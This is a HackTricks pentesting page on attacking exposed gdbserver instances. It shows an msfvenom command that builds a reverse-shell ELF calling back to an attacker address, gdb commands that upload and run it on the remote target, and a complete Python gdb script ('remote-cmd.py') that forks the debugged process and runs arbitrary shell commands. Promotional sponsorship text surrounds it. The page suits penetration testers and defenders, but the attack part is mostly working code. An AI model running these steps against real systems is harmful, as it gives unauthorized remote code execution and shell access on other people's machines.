Support HackTricks and get benefits!
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
# **Basic Information**
**gdbserver** is a computer program that makes it possible to remotely debug other programs. Running on the same system as the program to be debugged, it allows the **GNU Debugger to connect from another system**; that is, only the executable to be debugged needs to be resident on the target system ("target"), while the source code and a copy of the binary file to be debugged reside on the developer's local computer ("host"). The connection can be either TCP or a serial line.
You can make a **gdbserver listen in any port** and at the moment **nmap is not capable of recognising the service**.
# Exploitation
## Upload and Execute
You can easily create an **elf backdoor with msfvenom**, upload it and execute is:
```bash
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
chmod +x binary.elf
gdb binary.elf
# Set remote debuger target
target extended-remote 10.10.10.11:1337
# Upload elf file
remote put binary.elf binary.elf
# Set remote executable file
set remote exec-file /home/user/binary.elf
# Execute reverse shell executable
run
# You should get your reverse-shell
```
## Execute arbitrary commands
There is another way to **make the debugger execute arbitrary commands via a python custom script taken from** [**here**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)**.**
```bash
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345
# Load our custom gdb command `rcmd`.
source ./remote-cmd.py
# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r
# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r
# Run the remote command, e.g. `ls`.
rcmd ls
```
First of all **create locally this script**:
{% code title="remote-cmd.py" %}
```python
#!/usr/bin/env python3
import gdb
import re
import traceback
import uuid
class RemoteCmd(gdb.Command):
def __init__(self):
self.addresses = {}
self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")
gdb.execute("set detach-on-fork off")
gdb.execute("set follow-fork-mode parent")
gdb.execute("set max-value-size unlimited")
gdb.execute("set pagination off")
gdb.execute("set print elements 0")
gdb.execute("set print repeats 0")
super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)
def preload(self):
for symbol in [
"close",
"execl",
"fork",
"free",
"lseek",
"malloc",
"open",
"read",
]:
self.load(symbol)
def load(self, symbol):
if symbol not in self.addresses:
address_string = gdb.execute(f"info address {symbol}", to_string=True)
match = re.match(
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
)
if match and len(match.groups()) > 0:
self.addresses[symbol] = match.groups()[0]
else:
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')
return self.addresses[symbol]
def output(self):
# From `fcntl-linux.h`
O_RDONLY = 0
gdb.execute(
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
)
# From `stdio.h`
SEEK_SET = 0
SEEK_END = 2
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
if int(gdb.convenience_variable("len")) <= 0:
gdb.write("No output was captured.")
return
gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
gdb.execute('printf "%s\\n", (char*) $mem')
gdb.execute(f'call (int){self.load("close")}($fd)')
gdb.execute(f'call (int){self.load("free")}($mem)')
def invoke(self, arg, from_tty):
try:
self.preload()
is_auto_solib_add = gdb.parameter("auto-solib-add")
gdb.execute("set auto-solib-add off")
parent_inferior = gdb.selected_inferior()
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
child_pid = gdb.convenience_variable("child_pid")
child_inferior = list(
filter(lambda x: x.pid == child_pid, gdb.inferiors())
)[0]
gdb.execute(f"inferior {child_inferior.num}")
try:
gdb.execute(
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
)
except gdb.error as e:
if (
"The program being debugged exited while in a function called from GDB"
in str(e)
):
pass
else:
raise e
finally:
gdb.execute(f"inferior {parent_inferior.num}")
gdb.execute(f"remove-inferiors {child_inferior.num}")
self.output()
except Exception as e:
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
raise e
finally:
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')
RemoteCmd()
```
{% endcode %}
Support HackTricks and get benefits!
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**